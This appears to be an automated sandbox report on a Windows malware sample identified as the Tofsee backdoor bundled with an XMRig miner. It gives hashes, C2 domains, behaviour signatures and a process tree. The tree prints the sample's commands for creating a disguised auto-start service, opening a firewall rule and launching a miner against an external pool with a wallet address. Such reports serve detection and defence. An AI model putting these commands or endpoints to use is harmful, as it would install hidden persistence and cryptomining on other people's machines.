Analysis

  • max time kernel
    146s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-10-2022 03:16

General

  • Target

    file.exe

  • Size

    217KB

  • MD5

    4d0457a1d9289c8448cb8122763c2109

  • SHA1

    050247917947b498ccbcc0e484dd2fb209217a25

  • SHA256

    72c500b08abb2a66453bf84d838767ef0e80e8db40566bd5b95604ac0e8f0d61

  • SHA512

    ef5b33d09a80ceac8bb9b37eb8d8550bea470659fdc830df0d172f204d2d55bd069b3a713a0c2534fa8366565aeca527b69fe155bf85fa0957f3dd0160233fb8

  • SSDEEP

    3072:w44ocWw8Y8Q4L4r5K6BiU4X5SWshbJLT1Eo52Oqz29Myy1gKx:/4cxY2L65KaiUrNNGW2O629MySD

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4176
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\itumbmc\
      2⤵
        PID:1904
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\pwwablvg.exe" C:\Windows\SysWOW64\itumbmc\
        2⤵
          PID:4212
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create itumbmc binPath= "C:\Windows\SysWOW64\itumbmc\pwwablvg.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1900
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description itumbmc "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:548
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start itumbmc
          2⤵
          • Launches sc.exe
          PID:4132
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3316
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4176 -s 1036
          2⤵
          • Program crash
          PID:3932
      • C:\Windows\SysWOW64\itumbmc\pwwablvg.exe
        C:\Windows\SysWOW64\itumbmc\pwwablvg.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4416
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3752
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3040
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4416 -s 528
          2⤵
          • Program crash
          PID:3608
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 4176 -ip 4176
        1⤵
          PID:3024
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 4416 -ip 4416
          1⤵
            PID:3484

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\pwwablvg.exe

            Filesize

            10.9MB

            MD5

            53fd962540ee099ae2a7eb889423da37

            SHA1

            e1df13731d23c07338c869128aa03e6415fa0660

            SHA256

            d92a7a7a31e2cd12bf28d16d45dd2a6309951f4694a7e45550d798291259bc94

            SHA512

            fb17a44739130daab7d238a4436f6dfa1d9cc9051af447a431631ff2082d0ead497b42106626d0bfaa3be581e0814eb237a32c1917183fa2eef30858c3deb96e

          • C:\Windows\SysWOW64\itumbmc\pwwablvg.exe

            Filesize

            10.9MB

            MD5

            53fd962540ee099ae2a7eb889423da37

            SHA1

            e1df13731d23c07338c869128aa03e6415fa0660

            SHA256

            d92a7a7a31e2cd12bf28d16d45dd2a6309951f4694a7e45550d798291259bc94

            SHA512

            fb17a44739130daab7d238a4436f6dfa1d9cc9051af447a431631ff2082d0ead497b42106626d0bfaa3be581e0814eb237a32c1917183fa2eef30858c3deb96e

          • memory/3040-177-0x0000000000C00000-0x0000000000CF1000-memory.dmp

            Filesize

            964KB

          • memory/3040-172-0x0000000000C00000-0x0000000000CF1000-memory.dmp

            Filesize

            964KB

          • memory/3752-146-0x0000000000430000-0x0000000000445000-memory.dmp

            Filesize

            84KB

          • memory/3752-162-0x00000000017F0000-0x00000000017F5000-memory.dmp

            Filesize

            20KB

          • memory/3752-168-0x00000000025D0000-0x00000000025D7000-memory.dmp

            Filesize

            28KB

          • memory/3752-165-0x0000000007140000-0x000000000754B000-memory.dmp

            Filesize

            4.0MB

          • memory/3752-159-0x0000000000710000-0x0000000000720000-memory.dmp

            Filesize

            64KB

          • memory/3752-156-0x0000000000700000-0x0000000000706000-memory.dmp

            Filesize

            24KB

          • memory/3752-153-0x0000000002000000-0x000000000220F000-memory.dmp

            Filesize

            2.1MB

          • memory/3752-150-0x0000000000430000-0x0000000000445000-memory.dmp

            Filesize

            84KB

          • memory/3752-152-0x0000000000430000-0x0000000000445000-memory.dmp

            Filesize

            84KB

          • memory/4176-132-0x0000000000759000-0x000000000076A000-memory.dmp

            Filesize

            68KB

          • memory/4176-144-0x0000000000400000-0x0000000000594000-memory.dmp

            Filesize

            1.6MB

          • memory/4176-143-0x0000000000759000-0x000000000076A000-memory.dmp

            Filesize

            68KB

          • memory/4176-134-0x0000000000400000-0x0000000000594000-memory.dmp

            Filesize

            1.6MB

          • memory/4176-133-0x00000000006F0000-0x0000000000703000-memory.dmp

            Filesize

            76KB

          • memory/4416-151-0x0000000000400000-0x0000000000594000-memory.dmp

            Filesize

            1.6MB

          • memory/4416-149-0x0000000000643000-0x0000000000653000-memory.dmp

            Filesize

            64KB